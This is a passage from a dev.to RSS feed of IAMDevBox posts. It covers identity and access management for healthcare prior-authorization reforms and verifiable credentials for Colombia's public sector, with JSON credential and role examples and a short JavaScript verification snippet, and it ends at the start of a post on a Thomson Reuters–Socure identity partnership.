&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; Use libraries like &lt;code&gt;hl7apy&lt;/code&gt; and &lt;code&gt;fhir.resources&lt;/code&gt; to simplify data mapping between HL7 and FHIR.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security Best Practices
&lt;/h3&gt;

&lt;p&gt;Implementing secure data exchange requires adherence to best practices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Compliance&lt;/strong&gt;: Ensure compliance with relevant regulations such as HIPAA and GDPR.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access Control&lt;/strong&gt;: Implement strict access controls to prevent unauthorized access to sensitive data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Incident Response&lt;/strong&gt;: Develop and maintain an incident response plan to address data breaches and security incidents promptly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Example: Implementing Access Control
&lt;/h4&gt;

&lt;p&gt;Here's an example of implementing RBAC using a hypothetical IAM solution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"roles"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProviderAdmin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"submit_pa_request"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"view_pa_response"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"manage_users"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProviderUser"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"submit_pa_request"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"view_pa_response"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"users"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"john.doe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProviderUser"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"jane.smith"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ProviderAdmin"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h5&gt;
  
  
  Notice Box
&lt;/h5&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; Ensure that all users have the minimum necessary permissions to perform their duties.&lt;/p&gt;

&lt;h2&gt;
  
  
  Addressing Provider Concerns
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Technical Support
&lt;/h3&gt;

&lt;p&gt;Providers need robust technical support to successfully implement PA reforms. Pay attention to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Training Programs&lt;/strong&gt;: Offer comprehensive training programs to help providers understand and use new systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Documentation&lt;/strong&gt;: Provide clear and detailed documentation for system setup and usage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Customer Support&lt;/strong&gt;: Establish dedicated customer support channels for troubleshooting and assistance.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Data Privacy
&lt;/h3&gt;

&lt;p&gt;Addressing data privacy concerns is crucial for gaining provider trust. Consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data Minimization&lt;/strong&gt;: Collect only the data necessary for PA requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anonymization&lt;/strong&gt;: Anonymize sensitive data when possible to protect patient privacy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transparency&lt;/strong&gt;: Be transparent about data usage and storage practices.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Operational Flexibility
&lt;/h3&gt;

&lt;p&gt;Providers require flexibility to adapt to new systems and workflows. Ensure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: Design systems that can scale to accommodate growing volumes of PA requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Customization&lt;/strong&gt;: Allow customization of workflows to fit individual provider needs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integration&lt;/strong&gt;: Facilitate easy integration with existing provider systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Payer-driven prior authorization reforms represent a significant shift in the healthcare industry. While these changes offer numerous benefits, they also present challenges for providers. As an IAM engineer, it's essential to understand these reforms and implement secure, efficient data exchange solutions. By addressing provider concerns and adhering to best practices, we can ensure a smooth transition and improved patient care.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Understand the goals and challenges of prior authorization reforms.&lt;/li&gt;
&lt;li&gt;Implement secure data exchange using standardized protocols and IAM solutions.&lt;/li&gt;
&lt;li&gt;Address provider concerns through technical support, data privacy measures, and operational flexibility.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Comparison Table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;th&gt;Use When&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Digitization&lt;/td&gt;
&lt;td&gt;Faster approvals, reduced administrative burden&lt;/td&gt;
&lt;td&gt;Initial setup cost, technical complexity&lt;/td&gt;
&lt;td&gt;New PA systems launch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Standardization&lt;/td&gt;
&lt;td&gt;Seamless data exchange, improved interoperability&lt;/td&gt;
&lt;td&gt;Data mapping challenges, potential disruptions&lt;/td&gt;
&lt;td&gt;Interoperability required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automation&lt;/td&gt;
&lt;td&gt;Reduced manual processing, improved accuracy&lt;/td&gt;
&lt;td&gt;Implementation effort, potential errors&lt;/td&gt;
&lt;td&gt;High volume of PA requests&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Evaluate current PA processes and identify areas for improvement&lt;/li&gt;
&lt;li&gt;Assess technical capabilities and resources for implementing reforms&lt;/li&gt;
&lt;li&gt;Develop a training program for providers&lt;/li&gt;
&lt;li&gt;Ensure compliance with relevant regulations&lt;/li&gt;
&lt;li&gt;Monitor system performance and address any issues promptly&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>colombia</category>
      <category>verifiablecredentials</category>
      <category>publicsector</category>
      <category>iamdevbox</category>
    </item>
    <item>
      <title>Colombia Launches Verifiable Credential Workshop for Public Sector</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Mon, 17 Aug 2026 14:31:21 +0000</pubDate>
      <link>https://dev.to/iamdevbox/colombia-launches-verifiable-credential-workshop-for-public-sector-57m7</link>
      <guid>https://dev.to/iamdevbox/colombia-launches-verifiable-credential-workshop-for-public-sector-57m7</guid>
      <description>&lt;p&gt;&lt;strong&gt;Why This Matters Now&lt;/strong&gt;: In the wake of increasing cyber threats and the need for more secure digital identities, Colombia's recent verifiable credential workshop emphasizes the importance of implementing robust identity management solutions in the public sector. As of October 2023, many government agencies are exploring how to leverage verifiable credentials to enhance security and streamline services.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction to Verifiable Credentials
&lt;/h2&gt;

&lt;p&gt;Verifiable credentials are digital representations of identity claims that are cryptographically signed and can be verified by anyone without needing to contact the issuer. They are based on open standards such as those developed by the World Wide Web Consortium (W3C). These credentials can include any kind of information, such as educational qualifications, professional certifications, or even health records, and they are designed to be secure, portable, and interoperable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Verifiable Credentials?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Security&lt;/strong&gt;: Verifiable credentials are resistant to forgery and tampering due to cryptographic signatures.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privacy&lt;/strong&gt;: Users control which credentials to share and with whom, reducing unnecessary data exposure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Efficiency&lt;/strong&gt;: Automates the verification process, saving time and resources for both issuers and verifiers.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Workshop Context
&lt;/h2&gt;

&lt;p&gt;The recent verifiable credential workshop in Colombia brought together government officials, IT professionals, and security experts to discuss the practical implementation of verifiable credentials in public sector services. This became urgent because traditional identity management systems are increasingly vulnerable to attacks, and there is a growing demand for more secure and efficient ways to manage digital identities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Topics Covered
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Understanding Verifiable Credentials&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implementing Verifiable Credentials in Government Services&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Best Practices&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Case Studies and Real-world Applications&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Implementing Verifiable Credentials in Government Services
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step-by-Step Guide
&lt;/h3&gt;

&lt;h4&gt;Define Use Cases&lt;/h4&gt;

&lt;p&gt;Identify specific scenarios where verifiable credentials can improve security and efficiency.&lt;/p&gt;

&lt;h4&gt;Select a Standard&lt;/h4&gt;

&lt;p&gt;Choose a standard such as W3C Verifiable Credentials to ensure interoperability.&lt;/p&gt;

&lt;h4&gt;Set Up Issuance Infrastructure&lt;/h4&gt;

&lt;p&gt;Develop the systems that will issue verifiable credentials.&lt;/p&gt;

&lt;h4&gt;Implement Verification Mechanisms&lt;/h4&gt;

&lt;p&gt;Create the processes for verifying the authenticity of credentials.&lt;/p&gt;

&lt;h4&gt;Test and Deploy&lt;/h4&gt;

&lt;p&gt;Conduct thorough testing before rolling out the solution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example Implementation
&lt;/h3&gt;

&lt;p&gt;Let's walk through a simple example of issuing a verifiable credential using the W3C standard.&lt;/p&gt;

&lt;h4&gt;
  
  
  Issuing a Credential
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"@context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"https://www.w3.org/2018/credentials/v1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"https://www.w3.org/2018/credentials/examples/v1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://example.edu/credentials/3732"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"VerifiableCredential"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AlumniCredential"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"credentialSubject"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"did:example:ebfeb1f712ebc6f1c276e12ec21"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"alumniOf"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"did:example:c276e12ec21ebfeb1f712ebc6f1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Example University"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"lang"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"en"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"issuer"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"did:example:76e12ec712ebc6f1c221ebfeb1f"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"issuanceDate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2023-10-15T10:00:00Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"proof"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Ed25519Signature2018"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"created"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2023-10-15T10:00:00Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"verificationMethod"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"did:example:76e12ec712ebc6f1c221ebfeb1f#keys-1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"proofPurpose"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assertionMethod"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"jws"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Verifying a Credential
&lt;/h4&gt;

&lt;p&gt;To verify the credential, the verifier checks the cryptographic signature using the issuer's public key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;verifyCredential&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;credential&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;vc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verifyCredential&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="nx"&gt;credential&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;suite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Ed25519Signature2018&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="nx"&gt;documentLoader&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verified&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;💡 &lt;strong&gt;Key Point:&lt;/strong&gt; Always validate the proof and ensure the issuer's public key is trusted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Pitfalls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Incorrect Context&lt;/strong&gt;: Ensure the &lt;code&gt;@context&lt;/code&gt; URLs are correct and accessible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Invalid Proof&lt;/strong&gt;: Verify the cryptographic signature using the correct public key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Expired Credentials&lt;/strong&gt;: Check the &lt;code&gt;issuanceDate&lt;/code&gt; and any expiration dates.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; Failing to properly verify credentials can lead to security vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security Best Practices
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Use Strong Cryptographic Algorithms&lt;/strong&gt;: Prefer algorithms like Ed25519 over weaker ones.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manage Keys Securely&lt;/strong&gt;: Store private keys securely and rotate them regularly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validate Proofs&lt;/strong&gt;: Always verify the cryptographic signature of the credential.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Limit Data Exposure&lt;/strong&gt;: Only include necessary information in the credential.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Case Studies and Real-world Applications
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Example: Digital Health Records
&lt;/h3&gt;

&lt;p&gt;In healthcare, verifiable credentials can securely store and share patient records without compromising privacy. Patients can control who has access to their medical information, and providers can verify the authenticity of the records.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: Educational Qualifications
&lt;/h3&gt;

&lt;p&gt;Universities can issue verifiable credentials for degrees and certifications. Employers can verify these credentials without needing to contact the university, streamlining the hiring process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: Voter Registration
&lt;/h3&gt;

&lt;p&gt;Government agencies can issue verifiable credentials for voter registration, ensuring that only eligible voters can cast ballots. This reduces the risk of voter fraud and increases transparency.&lt;/p&gt;

&lt;h2&gt;
  
  
  Timeline of Events
&lt;/h2&gt;

&lt;p&gt;Oct 2023&lt;/p&gt;

&lt;p&gt;Colombia holds verifiable credential workshop for public sector.&lt;/p&gt;

&lt;p&gt;Sep 2023&lt;/p&gt;

&lt;p&gt;W3C publishes updated Verifiable Credentials standard.&lt;/p&gt;

&lt;p&gt;Aug 2023&lt;/p&gt;

&lt;p&gt;Global cybersecurity incidents highlight the need for secure identity management.&lt;/p&gt;




&lt;h2&gt;
  
  
  Comparison Table: Traditional ID Systems vs Verifiable Credentials
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;th&gt;Use When&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Traditional ID Systems&lt;/td&gt;
&lt;td&gt;Established infrastructure&lt;/td&gt;
&lt;td&gt;Vulnerable to fraud, less secure&lt;/td&gt;
&lt;td&gt;Short-term needs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verifiable Credentials&lt;/td&gt;
&lt;td&gt;Secure, efficient, portable&lt;/td&gt;
&lt;td&gt;Requires initial setup, complexity&lt;/td&gt;
&lt;td&gt;Long-term digital transformation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Quick Reference: Commands and Syntax
&lt;/h2&gt;

&lt;h4&gt;📋 Quick Reference&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;npm install @digitalbazaar/vc-js&lt;/code&gt; - Install the VC-JS library for working with verifiable credentials.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vc.issue({ ... })&lt;/code&gt; - Issue a new verifiable credential.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vc.verify({ ... })&lt;/code&gt; - Verify the authenticity of a verifiable credential.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;By adopting verifiable credentials, public sector organizations can enhance security, improve efficiency, and build trust with citizens. The recent workshop in Colombia underscores the importance of this technology in the face of evolving cyber threats. Get this right and you'll sleep better knowing that your organization's digital identity management is robust and secure.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Understand the basics of verifiable credentials&lt;/li&gt;
&lt;li&gt;Implement a secure issuance and verification system&lt;/li&gt;
&lt;li&gt;Stay updated with the latest standards and best practices&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Verifiable credentials offer enhanced security and privacy.&lt;/li&gt;
&lt;li&gt;Implementing verifiable credentials requires careful planning and execution.&lt;/li&gt;
&lt;li&gt;Stay informed about the latest developments in digital identity management.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>colombia</category>
      <category>verifiablecredentials</category>
      <category>publicsector</category>
      <category>iamdevbox</category>
    </item>
    <item>
      <title>Thomson Reuters And Socure Forge AI-Powered Identity Alliance</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Sun, 16 Aug 2026 14:26:33 +0000</pubDate>
      <link>https://dev.to/iamdevbox/thomson-reuters-and-socure-forge-ai-powered-identity-alliance-40mj</link>
      <guid>https://dev.to/iamdevbox/thomson-reuters-and-socure-forge-ai-powered-identity-alliance-40mj</guid>
      <description>&lt;h2&gt;
  
  
  Why This Matters Now
&lt;/h2&gt;

&lt;p&gt;The landscape of digital identity management is rapidly evolving, driven by the increasing sophistication of cyber threats and the need for more robust security measures. The recent surge in identity-related fraud and data breaches has made it imperative for organizations to adopt advanced technologies to protect their digital identities. Thomson Reuters and Socure’s partnership is a significant step in this direction, leveraging AI to enhance digital identity verification and authentication processes.&lt;/p&gt;

&lt;p&gt;🚨 &lt;strong&gt;Breaking:&lt;/strong&gt; With the rise in sophisticated identity fraud, traditional methods are becoming increasingly inadequate. Thomson Reuters and Socure's AI-driven partnership offers a cutting-edge solution to combat these threats.&lt;/p&gt;

